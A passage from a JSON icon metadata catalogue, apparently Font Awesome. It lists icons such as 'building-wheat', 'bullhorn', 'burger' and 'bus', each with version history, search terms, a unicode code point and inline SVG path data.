        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h96c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM237.3 71.1l34.7 52V80c0-8.8 7.2-16 16-16s16 7.2 16 16v96c0 7.1-4.6 13.3-11.4 15.3s-14-.6-17.9-6.4l-34.7-52V176c0 8.8-7.2 16-16 16s-16-7.2-16-16V80c0-7.1 4.6-13.3 11.4-15.3s14 .6 17.9 6.4zM112 80v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80c0-8.8 7.2-16 16-16s16 7.2 16 16v64c0 26.5-21.5 48-48 48s-48-21.5-48-48V80c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "building-user": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["apartment", "building", "city"]
    },
    "styles": ["solid"],
    "unicode": "e4da",
    "label": "Building User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h89.9c-6.3-10.2-9.9-22.2-9.9-35.1c0-46.9 25.8-87.8 64-109.2V271.8 48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM576 272a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM352 477.1c0 19.3 15.6 34.9 34.9 34.9H605.1c19.3 0 34.9-15.6 34.9-34.9c0-51.4-41.7-93.1-93.1-93.1H445.1c-51.4 0-93.1 41.7-93.1 93.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V464c0 26.5 21.5 48 48 48h96V432c0-26.5 21.5-48 48-48s48 21.5 48 48v80h89.9c-6.3-10.2-9.9-22.2-9.9-35.1c0-46.9 25.8-87.8 64-109.2V271.8 48c0-26.5-21.5-48-48-48H48zM64 240c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V240zm112-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V240zM80 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zm80 16c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V112zM272 96h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H272c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16zM576 272a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM352 477.1c0 19.3 15.6 34.9 34.9 34.9H605.1c19.3 0 34.9-15.6 34.9-34.9c0-51.4-41.7-93.1-93.1-93.1H445.1c-51.4 0-93.1 41.7-93.1 93.1z"
      }
    },
    "free": ["solid"]
  },
  "building-wheat": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["agriculture", "building", "city", "usda"]
    },
    "styles": ["solid"],
    "unicode": "e4db",
    "label": "Building Wheat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm112-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H272zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zm384 80v16c0 44.2-35.8 80-80 80H544V272c0-44.2 35.8-80 80-80h16zm0 128c0 44.2-35.8 80-80 80H544V384c0-44.2 35.8-80 80-80h16v16zm0 112c0 44.2-35.8 80-80 80H544V496c0-44.2 35.8-80 80-80h16v16zM512 496v16H496c-44.2 0-80-35.8-80-80V416h16c44.2 0 80 35.8 80 80zm0-96H496c-44.2 0-80-35.8-80-80V304h16c44.2 0 80 35.8 80 80v16zm0-128v16H496c-44.2 0-80-35.8-80-80V192h16c44.2 0 80 35.8 80 80zM528 32c13.3 0 24 10.7 24 24V160c0 13.3-10.7 24-24 24s-24-10.7-24-24V56c0-13.3 10.7-24 24-24zm96 64v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V96c0-13.3 10.7-24 24-24s24 10.7 24 24zM456 72c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V96c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 48C0 21.5 21.5 0 48 0H336c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H240V432c0-26.5-21.5-48-48-48s-48 21.5-48 48v80H48c-26.5 0-48-21.5-48-48V48zM80 224c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H80zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H176c-8.8 0-16 7.2-16 16zm112-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H272zM64 112v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16zM176 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H176zm80 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16zm384 80v16c0 44.2-35.8 80-80 80H544V272c0-44.2 35.8-80 80-80h16zm0 128c0 44.2-35.8 80-80 80H544V384c0-44.2 35.8-80 80-80h16v16zm0 112c0 44.2-35.8 80-80 80H544V496c0-44.2 35.8-80 80-80h16v16zM512 496v16H496c-44.2 0-80-35.8-80-80V416h16c44.2 0 80 35.8 80 80zm0-96H496c-44.2 0-80-35.8-80-80V304h16c44.2 0 80 35.8 80 80v16zm0-128v16H496c-44.2 0-80-35.8-80-80V192h16c44.2 0 80 35.8 80 80zM528 32c13.3 0 24 10.7 24 24V160c0 13.3-10.7 24-24 24s-24-10.7-24-24V56c0-13.3 10.7-24 24-24zm96 64v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V96c0-13.3 10.7-24 24-24s24 10.7 24 24zM456 72c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24s-24-10.7-24-24V96c0-13.3 10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "bullhorn": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4e2", "1f56b"],
        "secondary": ["10f0a1"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Bullhorn",
        "announcement",
        "broadcast",
        "loud",
        "louder",
        "loudspeaker",
        "megaphone",
        "public address",
        "share"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0a1",
    "label": "Bullhorn",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 32c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9L381.7 53c-48 48-113.1 75-181 75H192 160 64c-35.3 0-64 28.7-64 64v96c0 35.3 28.7 64 64 64l0 128c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V352l8.7 0c67.9 0 133 27 181 75l43.6 43.6c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V300.4c18.6-8.8 32-32.5 32-60.4s-13.4-51.6-32-60.4V32zm-64 76.7V240 371.3C357.2 317.8 280.5 288 200.7 288H192V192h8.7c79.8 0 156.5-29.8 215.3-83.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480 32c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9L381.7 53c-48 48-113.1 75-181 75H192 160 64c-35.3 0-64 28.7-64 64v96c0 35.3 28.7 64 64 64l0 128c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32V352l8.7 0c67.9 0 133 27 181 75l43.6 43.6c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V300.4c18.6-8.8 32-32.5 32-60.4s-13.4-51.6-32-60.4V32zm-64 76.7V240 371.3C357.2 317.8 280.5 288 200.7 288H192V192h8.7c79.8 0 156.5-29.8 215.3-83.3z"
      }
    },
    "free": ["solid"]
  },
  "bullseye": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f140"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.3.0",
      "5.10.1",
      "5.15.4",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archery", "goal", "objective", "strategy", "target"]
    },
    "styles": ["solid"],
    "unicode": "f140",
    "label": "Bullseye",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 256A192 192 0 1 0 64 256a192 192 0 1 0 384 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 80a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zM224 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 256A192 192 0 1 0 64 256a192 192 0 1 0 384 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm256 80a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zM224 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "burger": {
    "aliases": {
      "names": ["hamburger"],
      "unicodes": {
        "secondary": ["10f805"]
      }
    },
    "changes": [
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bacon",
        "beef",
        "burger",
        "burger king",
        "cheeseburger",
        "fast food",
        "grill",
        "ground beef",
        "mcdonalds",
        "sandwich"
      ]
    },
    "styles": ["solid"],
    "unicode": "f805",
    "label": "Burger",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M61.1 224C45 224 32 211 32 194.9c0-1.9 .2-3.7 .6-5.6C37.9 168.3 78.8 32 256 32s218.1 136.3 223.4 157.3c.5 1.9 .6 3.7 .6 5.6c0 16.1-13 29.1-29.1 29.1H61.1zM144 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm240 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32zM272 96a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM16 304c0-26.5 21.5-48 48-48H448c26.5 0 48 21.5 48 48s-21.5 48-48 48H64c-26.5 0-48-21.5-48-48zm16 96c0-8.8 7.2-16 16-16H464c8.8 0 16 7.2 16 16v16c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V400z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M61.1 224C45 224 32 211 32 194.9c0-1.9 .2-3.7 .6-5.6C37.9 168.3 78.8 32 256 32s218.1 136.3 223.4 157.3c.5 1.9 .6 3.7 .6 5.6c0 16.1-13 29.1-29.1 29.1H61.1zM144 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm240 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32zM272 96a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM16 304c0-26.5 21.5-48 48-48H448c26.5 0 48 21.5 48 48s-21.5 48-48 48H64c-26.5 0-48-21.5-48-48zm16 96c0-8.8 7.2-16 16-16H464c8.8 0 16 7.2 16 16v16c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V400z"
      }
    },
    "free": ["solid"]
  },
  "buromobelexperte": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37f",
    "label": "Büromöbel-Experte GmbH & Co. KG.",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z"
      }
    },
    "free": ["brands"]
  },
  "burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boom", "crash", "explosion"]
    },
    "styles": ["solid"],
    "unicode": "e4dc",
    "label": "Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M37.6 4.2C28-2.3 15.2-1.1 7 7s-9.4 21-2.8 30.5l112 163.3L16.6 233.2C6.7 236.4 0 245.6 0 256s6.7 19.6 16.6 22.8l103.1 33.4L66.8 412.8c-4.9 9.3-3.2 20.7 4.3 28.1s18.8 9.2 28.1 4.3l100.6-52.9 33.4 103.1c3.2 9.9 12.4 16.6 22.8 16.6s19.6-6.7 22.8-16.6l33.4-103.1 100.6 52.9c9.3 4.9 20.7 3.2 28.1-4.3s9.2-18.8 4.3-28.1L392.3 312.2l103.1-33.4c9.9-3.2 16.6-12.4 16.6-22.8s-6.7-19.6-16.6-22.8L388.9 198.7l25.7-70.4c3.2-8.8 1-18.6-5.6-25.2s-16.4-8.8-25.2-5.6l-70.4 25.7L278.8 16.6C275.6 6.7 266.4 0 256 0s-19.6 6.7-22.8 16.6l-32.3 99.6L37.6 4.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M37.6 4.2C28-2.3 15.2-1.1 7 7s-9.4 21-2.8 30.5l112 163.3L16.6 233.2C6.7 236.4 0 245.6 0 256s6.7 19.6 16.6 22.8l103.1 33.4L66.8 412.8c-4.9 9.3-3.2 20.7 4.3 28.1s18.8 9.2 28.1 4.3l100.6-52.9 33.4 103.1c3.2 9.9 12.4 16.6 22.8 16.6s19.6-6.7 22.8-16.6l33.4-103.1 100.6 52.9c9.3 4.9 20.7 3.2 28.1-4.3s9.2-18.8 4.3-28.1L392.3 312.2l103.1-33.4c9.9-3.2 16.6-12.4 16.6-22.8s-6.7-19.6-16.6-22.8L388.9 198.7l25.7-70.4c3.2-8.8 1-18.6-5.6-25.2s-16.4-8.8-25.2-5.6l-70.4 25.7L278.8 16.6C275.6 6.7 266.4 0 256 0s-19.6 6.7-22.8 16.6l-32.3 99.6L37.6 4.2z"
      }
    },
    "free": ["solid"]
  },
  "bus": {
    "aliases": {
      "unicodes": {
        "composite": ["1f68d"],
        "secondary": ["10f207"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bus",
        "oncoming",
        "oncoming bus",
        "public transportation",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f207",
    "label": "Bus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0C422.4 0 512 35.2 512 80V96l0 32c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32l0 160c0 17.7-14.3 32-32 32v32c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H192v32c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32l0-32c-17.7 0-32-14.3-32-32l0-160c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h0V96h0V80C64 35.2 153.6 0 288 0zM128 160v96c0 17.7 14.3 32 32 32H272V128H160c-17.7 0-32 14.3-32 32zM304 288H416c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H304V288zM144 400a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm288 0a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM384 80c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16s7.2 16 16 16H368c8.8 0 16-7.2 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0C422.4 0 512 35.2 512 80V96l0 32c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32l0 160c0 17.7-14.3 32-32 32v32c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H192v32c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32l0-32c-17.7 0-32-14.3-32-32l0-160c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h0V96h0V80C64 35.2 153.6 0 288 0zM128 160v96c0 17.7 14.3 32 32 32H272V128H160c-17.7 0-32 14.3-32 32zM304 288H416c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H304V288zM144 400a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm288 0a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM384 80c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16s7.2 16 16 16H368c8.8 0 16-7.2 16-16z"
      }
    },
    "free": ["solid"]
  },
  "bus-simple": {
    "aliases": {
      "names": ["bus-alt"],
      "unicodes": {
        "secondary": ["10f55e"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "mta",
        "public transportation",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f55e",
    "label": "Bus Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0C348.8 0 448 35.2 448 80V96 416c0 17.7-14.3 32-32 32v32c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32l0-32c-17.7 0-32-14.3-32-32V96 80C0 35.2 99.2 0 224 0zM64 128V256c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 400a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm288 0a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0C348.8 0 448 35.2 448 80V96 416c0 17.7-14.3 32-32 32v32c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32l0-32c-17.7 0-32-14.3-32-32V96 80C0 35.2 99.2 0 224 0zM64 128V256c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 400a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm288 0a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "business-time": {
    "aliases": {
      "names": ["briefcase-clock"],
      "unicodes": {
        "secondary": ["10f64a"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alarm",
        "briefcase",
        "business socks",
        "clock",
        "flight of the conchords",
        "reminder",
        "wednesday"
      ]
    },
    "styles": ["solid"],
    "unicode": "f64a",
    "label": "Business Time",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160v96H192 352h8.2c32.3-39.1 81.1-64 135.8-64c5.4 0 10.7 .2 16 .7V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM320 352H224c-17.7 0-32-14.3-32-32V288H0V416c0 35.3 28.7 64 64 64H360.2C335.1 449.6 320 410.5 320 368c0-5.4 .2-10.7 .7-16l-.7 0zm320 16a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zM496 288c8.8 0 16 7.2 16 16v48h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H496c-8.8 0-16-7.2-16-16V304c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160v96H192 352h8.2c32.3-39.1 81.1-64 135.8-64c5.4 0 10.7 .2 16 .7V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM320 352H224c-17.7 0-32-14.3-32-32V288H0V416c0 35.3 28.7 64 64 64H360.2C335.1 449.6 320 410.5 320 368c0-5.4 .2-10.7 .7-16l-.7 0zm320 16a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zM496 288c8.8 0 16 7.2 16 16v48h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H496c-8.8 0-16-7.2-16-16V304c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "buy-n-large": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8a6",
    "label": "Buy n Large",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z"
      }
    },
    "free": ["brands"]
  },
  "buysellads": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f20d",
    "label": "BuySellAds",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
